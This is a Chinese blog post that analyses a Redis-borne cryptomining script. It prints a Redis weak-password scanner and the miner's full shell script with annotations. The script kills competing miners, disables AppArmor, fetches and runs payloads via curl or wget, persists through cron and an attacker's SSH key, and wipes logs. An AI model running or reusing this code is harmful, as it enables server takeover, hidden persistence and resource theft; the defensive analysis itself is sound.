一个小知识点竟引发了对挖矿脚本的追踪与分析

import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port,timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("SAVErn")
result = s.recv(1024)
if "OK" in result:
return u"未授权访问"
elif "Authentication" in result:
for pass_ in PASSWORD_DIC:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %srn" %(pass_))
result = s.recv(1024)
if '+OK' in result:
return u"存在弱口令，密码：%s" % (pass_)
except Exception, e:
pass
if __name__ == '__main__':
for ip in open("url.txt"):
ip = line.rstrip()
print ip
port = '6379'
print check(ip,port,timeout=10)

ps auxf|grep kinsing| awk '{print $2}'|xargs kill -9
ps auxf|grep kdevtmpfsi| awk '{print $2}'|xargs kill -9
#略一部分格式相同的
ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "-c"|xargs kill -9
ps ax|grep -o './[0-9]* -c'| xargs pkill -f
#略一部分格式相同的
ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
#略一部分格式相同的
pkill -f biosetjenkins
pkill -f Loopback
 
#还休息一会，劳逸结合
sleep 1
 
netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
netstat -anp | grep :2222 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
#略一部分格式相同的
 
pgrep -f monerohash | xargs -I % kill -9 %
 
#接下来开始干掉别人的文件，
#如果是自己的也无所谓，
#反正后面还要下回来。
rm -rf /usr/bin/config.json
#略一部分格式相同的
 
#解锁
chattr -i /etc/ld.so.preload
#略一部分格式相同的
 
#修改权限，然后删除
chmod +700 /tmp/lok
rm -rf /tmp/lok
#略一部分格式相同的
 
# 解锁，然后给你写成1
chattr -i /tmp/kdevtmpfsi
echo 1 > /tmp/kdevtmpfsi
 
#解锁，写1，加锁
chattr -i /usr/lib/systemd/systemd-update-daily
echo 1 > /usr/lib/systemd/systemd-update-daily
chattr +i /usr/lib/systemd/systemd-update-daily
 
#再歇一会，太辛苦了
sleep 1
 
#不仅要停止你，还有让你不能自已（启）
service apparmor stop
systemctl disable apparmor
#略一部分格式相同的
 
# 解锁定时任务，然后清空
chattr -i /etc/crontab
crontab -r
 
#怕你有隐藏的的程序，
#现下一个软件
#来发现你，然后干掉你
#属实冰冷无情
apt-get install -y unhide
yum install -y unhide
sleep 1
dddir="/usr/sbin/unhide"
$dddir quick |grep PID:|awk '{print $4}'|xargs -I % kill -9 % 2>/dev/null

#此处判断的是对应网络下载工具是否还在，分别判断curl、cur、wget、wge
#只要有一个能用就行
if [ -f "/usr/bin/curl" ]
then
echo $1,$2
# -I 显示请求头，-m 设置最大传输时间 -0 写入文件 -s 静默不输出
# -w %{} 以指定格式输出，获取响应码；
http_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1`
# 如果响应码是200/405，就都正常访问，并把获取的文件写入到参数2就是update.sh
if [ "$http_code" -eq "200" ]
then
curl --connect-timeout 10 --retry 100 $1 > $2
elif [ "$http_code" -eq "405" ]
then
curl --connect-timeout 10 --retry 100 $1 > $2
else
#如果主链接超时了就启用备用链接
curl --connect-timeout 10 --retry 100 $3 > $2
fi
# 秉持着如果这个不能用，那我就换一个，真是严谨。
elif [ -f "/usr/bin/cur" ]
then
http_code = `cur -I -m 10 -o /dev/null -s -w %{http_code} $1`
if [ "$http_code" -eq "200" ]
then
cur --connect-timeout 10 --retry 100 $1 > $2
elif [ "$http_code" -eq "405" ]
then
cur --connect-timeout 10 --retry 100 $1 > $2
else
cur --connect-timeout 10 --retry 100 $3 > $2
fi
#其实检测wget和wge是为了应对不同的权限，
#因为如果没有root权限，还是没法修改wget为wge的
#严谨这方面， 阿矿有点严谨。
elif [ -f "/usr/bin/wget" ]
then
wget --timeout=10 --tries=100 -O $2 $1
if [ $? -ne 0 ]
then
wget --timeout=10 --tries=100 -O $2 $3
fi
elif [ -f "/usr/bin/wge" ]
then
wge --timeout=10 --tries=100 -O $2 $1
if [ $? -eq 0 ]
then
wge --timeout=10 --tries=100 -O $2 $3
fi
fi

#按行读取pid，依次对应是不是自己的程序
#sysguard|update.sh|sysupdate|networkservice
#不是就kill -9强制干掉
#u1s1，有点霸道
ps axf -o "pid"|while read procid
do
ls -l /proc/$procid/exe | grep /tmp
if [ $? -ne 1 ]
then
cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
if [ $? -ne 0 ]
then
kill -9 $procid
else
echo "don't kill"
fi
fi
done
#列出cpu占用率超过40%的程序pid，
#然后把不是自己人的统统杀掉
#u1s1，正经程序谁成天占用40%，qaq
ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid
do
cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
if [ $? -ne 0 ]
then
kill -9 $procid
else
echo "don't kill"
fi
done

if [ -f "$rtdir" ]
 
then
echo "i am root"
echo "goto 1" >> /etc/sysupdates
chattr -i /etc/sysupdate*
chattr -i /etc/config.json*
chattr -i /etc/update.sh*
chattr -i /root/.ssh/authorized_keys*
chattr -i /etc/networkservice
#设置计划任务，每三十分钟执行一次update.sh,以便跟上组织的步伐，及时调整战术措施qaq
if [ ! -f "/usr/bin/crontab" ]
then
unlock_cron
echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir}
lock_cron
else
unlock_cron
[[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab -
lock_cron
fi
# 读写执行权限
chmod 700 /root/.ssh/
# 换个行
echo >> /root/.ssh/authorized_keys
# 读写执行权限
chmod 600 root/.ssh/authorized_keys
# 追写ssh秘钥
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys
 
# 莫名的赋值，不解
cfg="/etc/config.json"
file="/etc/sysupdate"
 
# 检查有没有config.json,如果有则检查是否是自己人,不是就杀掉,换成自己人;
# 如果不存在就重新下载
if [-f "/etc/config.json" ]
then
filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'`
#如果大小跟预设的不一致，就清洗一下sysupdate,删掉现有的config.json ，重新获取
if [ "$filesize_config" -ne "$config_size" ]
then
pkill -f sysupdate
rm /etc/config.json
downloads $config_url /etc/config.json $config_url_backup
else
echo "no need download"
fi
else
downloads $config_url /etc/config.json $config_url_backup
fi
 
# 检查有没有sysupdate,如果有则检查是否是自己人,不是就杀掉,换成自己人，以免自己的努力给敌人做了嫁衣;
# 如果不存在就重新下载
if [ -f "/etc/sysupdate" ]
then #此处是filesize1
filesize1=`ls -l /etc/sysupdate | awk '{ print $5 }'`
if [ "$filesize1" -ne "$miner_size" ]
then
pkill -f sysupdate
rm /etc/sysupdate
downloads $miner_url /etc/sysupdate $miner_url_backup
else
echo "not need download"
fi
else
downloads $miner_url /etc/sysupdate $miner_url_backup
fi
 
# 原理跟上面一样,略
if [ -f "/etc/sysguard" ]
then
filesize1=`ls -l /etc/sysguard | awk '{ print $5 }'`
if [ "$filesize1" -ne "$watchdog_size" ]
then
pkill -f sysguard
rm /etc/sysguard
downloads $watchdog_url /etc/sysguard $watchdog_url_backup
else
echo "not need download"
fi
else
downloads $watchdog_url /etc/sysguard $watchdog_url_backup
fi
 
# 穿插一下，更新自己的执行脚本
downloads $sh_url /etc/update.sh $sh_url_backup
 
# 原理跟上面一样,略
if [ -f "/etc/networkservice" ]
then # 此处变成了filesize2 ，莫名其妙
filesize2=`ls -l /etc/networkservice | awk '{ print $5 }'`
if [ "$filesize2" -ne "$scan_size" ]
then
pkill -f networkservice
rm /etc/networkservice
downloads $scan_url /etc/networkservice $scan_url_backup
else
echo "not need download"
fi
else
downloads $scan_url /etc/networkservice $scan_url_backup
fi
 
# 所有用户都有读写执行权限，然后检测有没有执行，如果没执行，就睡5s，然后执行
chmod 777 /etc/sysupdate
ps -fe|grep sysupdate |grep -v grep
if [ $? -ne 0 ]
then
cd /etc
echo "not root runing"
sleep 5s
./sysupdate &
else
echo "root runing....."
fi
# 所有用户都有读写执行权限，然后检测有没有执行，如果没执行，就睡5s，
# 然后按优先级15 来执行，不知道为啥要按15来执行
chmod 777 /etc/networkservice
ps -fe|grep networkservice |grep -v grep
if [ $? -ne 0 ]
then
cd /etc
echo "not roots runing"
sleep 5s
nice ./networkservice 15 &
else
echo "roots runing....."
fi
 
# 此处类似，略
chmod 777 /etc/sysguard
ps -fe|grep sysguard |grep -v grep
if [ $? -ne 0 ]
then
echo "not tmps runing"
cd /etc
# 不知道此处为啥重复两遍
chmod 777 sysguard
sleep 5s
./sysguard &
else
echo "roots runing....."
fi
 
# 依次加锁
chmod 777 /etc/sysupdate
chattr +i /etc/sysupdate
chmod 777 /etc/networkservice
chattr +i /etc/networkservice
chmod 777 /etc/config.json
chattr +i /etc/config.json
chmod 777 /etc/update.sh
chattr +i /etc/update.sh
chmod 777 /root/.ssh/authorized_keys
chattr +i /root/.ssh/authorized_keys
 
else
# 如果不存在"/etc/sysupdates"介个文件，则在tmp里操作
echo "goto 1" > /tmp/sysupdates
chattr -i /tmp/sysupdate*
chattr -i /tmp/networkservice
chattr -i /tmp/config.json*
chattr -i /tmp/update.sh*
 
if [ ! -f "/usr/bin/crontab" ]
then
unlock_cron
echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1" >> ${crondir}
lock_cron
else
unlock_cron
[[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1") | crontab -
lock_cron
fi
 
if [ -f "/tmp/config.json" ]
then
filesize1=`ls -l /tmp/config.json | awk '{ print $5 }'`
if [ "$filesize1" -ne "$config_size" ]
then
pkill -f sysupdate
rm /tmp/config.json
downloads $config_url /tmp/config.json $config_url_backup
else
echo "no need download"
fi
else
downloads $config_url /tmp/config.json $config_url_backup
fi
 
if [ -f "/tmp/sysupdate" ]
then
filesize1=`ls -l /tmp/sysupdate | awk '{ print $5 }'`
if [ "$filesize1" -ne "$miner_size" ]
then
pkill -f sysupdate
rm /tmp/sysupdate
downloads $miner_url /tmp/sysupdate $miner_url_backup
else
echo "no need download"
fi
else
downloads $miner_url /tmp/sysupdate $miner_url_backup
fi
 
if [ -f "/tmp/sysguard" ]
then
filesize1=`ls -l /tmp/sysguard | awk '{ print $5 }'`
if [ "$filesize1" -ne "$watchdog_size" ]
then
pkill -f sysguard
rm /tmp/sysguard
downloads $watchdog_url /tmp/sysguard $watchdog_url_backup
else
echo "not need download"
fi
else
downloads $watchdog_url /tmp/sysguard $watchdog_url_backup
fi
 
# 这个地方突然来了一句“我在这”，跟上面有root权限执行的时候，有些许的差别。
echo "i am here"
downloads $sh_url /tmp/update.sh $sh_url_backup
 
# 下面的流程除了目录换成/tmp,别的没啥改动
if [ -f "/tmp/networkservice" ]
then # 此处跟上面一样是filesize2，估计是原封复制
filesize2=`ls -l /tmp/networkservice | awk '{ print $5 }'`
if [ "$filesize2" -ne "$scan_size" ]
then
pkill -f networkservice
rm /tmp/networkservice
downloads $scan_url /tmp/networkservice $scan_url_backup
else
echo "no need download"
fi
else
downloads $scan_url /tmp/networkservice $scan_url_backup
fi
 
ps -fe|grep sysupdate |grep -v grep
if [ $? -ne 0 ]
then
echo "not tmp runing"
cd /tmp
chmod 777 sysupdate
sleep 5s
./sysupdate &
else
echo "tmp runing....."
fi
ps -fe|grep networkservice |grep -v grep
if [ $? -ne 0 ]
then
echo "not tmps runing"
cd /tmp
chmod 777 networkservice
sleep 5s
# 还是优先级15
nice ./networkservice 15 &
else
echo "tmps runing....."
fi
 
ps -fe|grep sysguard |grep -v grep
if [ $? -ne 0 ]
then
echo "not tmps runing"
cd /tmp
chmod 777 sysguard
sleep 5s
./sysguard &
else
echo "tmps runing....."
fi
 
# 同样的加锁
chmod 777 /tmp/sysupdate
chattr +i /tmp/sysupdate
chmod 777 /tmp/networkservice
chattr +i /tmp/networkservice
chmod 777 /tmp/sysguard
chattr +i /tmp/sysguard
chmod 777 /tmp/update.sh
chattr +i /tmp/update.sh
chmod 777 /tmp/config.json
chattr +i /tmp/config.json
 
fi

#history记录执行过的命令，-c清除命令
history -c
#下面的就是把这些文件全部写成空，擦屁屁
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history